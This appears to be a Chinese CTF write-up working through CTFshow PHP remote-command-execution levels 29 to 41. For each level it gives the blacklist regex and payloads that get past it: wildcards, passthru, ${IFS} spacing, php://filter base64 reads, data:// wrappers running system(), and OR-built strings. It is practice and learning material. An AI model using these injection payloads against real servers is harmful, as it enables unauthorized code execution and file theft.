CTFer——RCE命令执行漏洞

heck1ng / 2024-02-25 / 原文

例题总结:

CTFshow

29:

if(!preg_match("/flag/i"$c)){
        eval($c); (eval内执行的是php代码,必须以分号结尾)

绕过方式:

(1)?c=system("cat%20fla*"); fla* 代替flag

  (2)  ?c=eval($_GET[1]);&1=phpinfo(); 参数输入加eval

(3)?c=echo `cat fla*`;

 

30:

if(!preg_match("/flag|system|php/i"$c)){
        eval($c);

(1):?c=passthru("cat%20fla*");  passthru替代system执行系统命令

(2) (3) 同上都可以使用

(4)?c=passthru("tac%20fla?????");

如果*被过滤掉 可以使用ls先查看存在的文件 在使用通配符 ???代替

 

31:if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i"$c)){
        eval($c);

比上一题多过滤了

cat -----可以使用tac 以及多种方式替换

空格 可以用 ${IFS}绕过

. php flag可以用通配符?绕过

(1)passthru 绕过

  url/?c=passthru("tac\${IFS}fla*");
注意:为什么要加\ 因为上面的$需要用反斜杠进行转义,

这也解释了为什么preg_match函数中的\后的标点被过滤

(2)passru + 通配符

(3)嵌套eval函数绕过 参数传参同上

 

32:可以利用include进行绕过, 具体实现方式为 eval(include flag.php;)

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i"$c)){
        eval($c);

比上一关多过滤了(  and ` and ' \

过滤了括号就表明上述的方法无法使用

这时候可以使用 php:filter

过滤器的分类及常见过滤器:

string filter(字符过滤器)
                string.rot13  (对字符串执行 ROT13 转换)
                        例:php://filter/string.rot13/resource=flag.php
                string.toupper (转大写)
                        例:php://filter/string.toupper/resource=flag.php
                string.tolower (转小写)
                string.strip_tags (去除 HTML 和 PHP 标记,尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果)
                        例:php://filter/string.strip_tags/resource=flag.php
 conversion filter (转换过滤器)
                convert.base64-encode & convert.base64-decode (base64加密 base64解密)
                        例:php://filter/convert.base64-encode/resource=flag.php
                convert.quoted-printable-encode & convert.quoted-printable-decode(在字符串后加=0A,及恢复)
 compression filter(压缩过滤)
                zlib.deflate & zlib.inflate(压缩 解压)
                        例:php://filter/zlib.deflate/resource=flag.php                                                       php://filter/zlib.inflate/resource=flag.php
                bzip2.compress & bzip2.decompress(zip 压缩 解压)
        encryption filter(加密过滤器)

题解:?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

其中?>代替分号 因为;被过滤了

 

34:

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i"$c)){
        eval($c);

多过滤了: 但是对于间接传参好像不影响,继续使用上题的payload

 

35:if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i"$c)){
        eval($c);

=号也被过滤了

36:if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i"$c)){
        eval($c);

增加了0-9的数字限制,传参时候换为单个字符即可

?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

 

37:

if(!preg_match("/flag/i"$c)){
        include($c);
        echo $flag;

文件包含:

如果这些特殊的指令所包含的文件路径被泄露(include下的文件)

?c=data://text/plain,<?php system("tac fla*.php");?>

使用data伪协议

 

38:if(!preg_match("/flag|php|file/i"$c)){
        include($c);

多了 php 和 file 的过滤

?c=data://text/plain,<?=system("cat fla*")?>

 

39:if(!preg_match("/flag/i"$c)){
        include($c.".php");

拼接的php可以不用管>?就已经代表php语句的闭合 include只会处理内部的内容,

?c=data://text/plain,<?=system("cat fla*.php")?>、

 

40:

if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i"$c)){
        eval($c);

无参数rce (暂时还不会)

 

41:

if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'$c)){
        eval("echo($c);");

无数字字符rce

首先是POST方法传递参数,其次过滤了基本上所有的可见字符,

但是没有过滤或运算符|和双引号”,所以可以使用或运算构造字符


构造payload

system=(“%13%19%13%14%05%0d”|"%60%60%60%60%60%60)

其中%13|%60=s 可以看出是前半部分组合 后半部分也组合

我们构造出了(system) (ls)

payload:("%13%19%13%14%05%0d"|"%60%60%60%60%60%60") ("%0c%13"|"%60%60")

最后使用一体化脚本跑出来了。。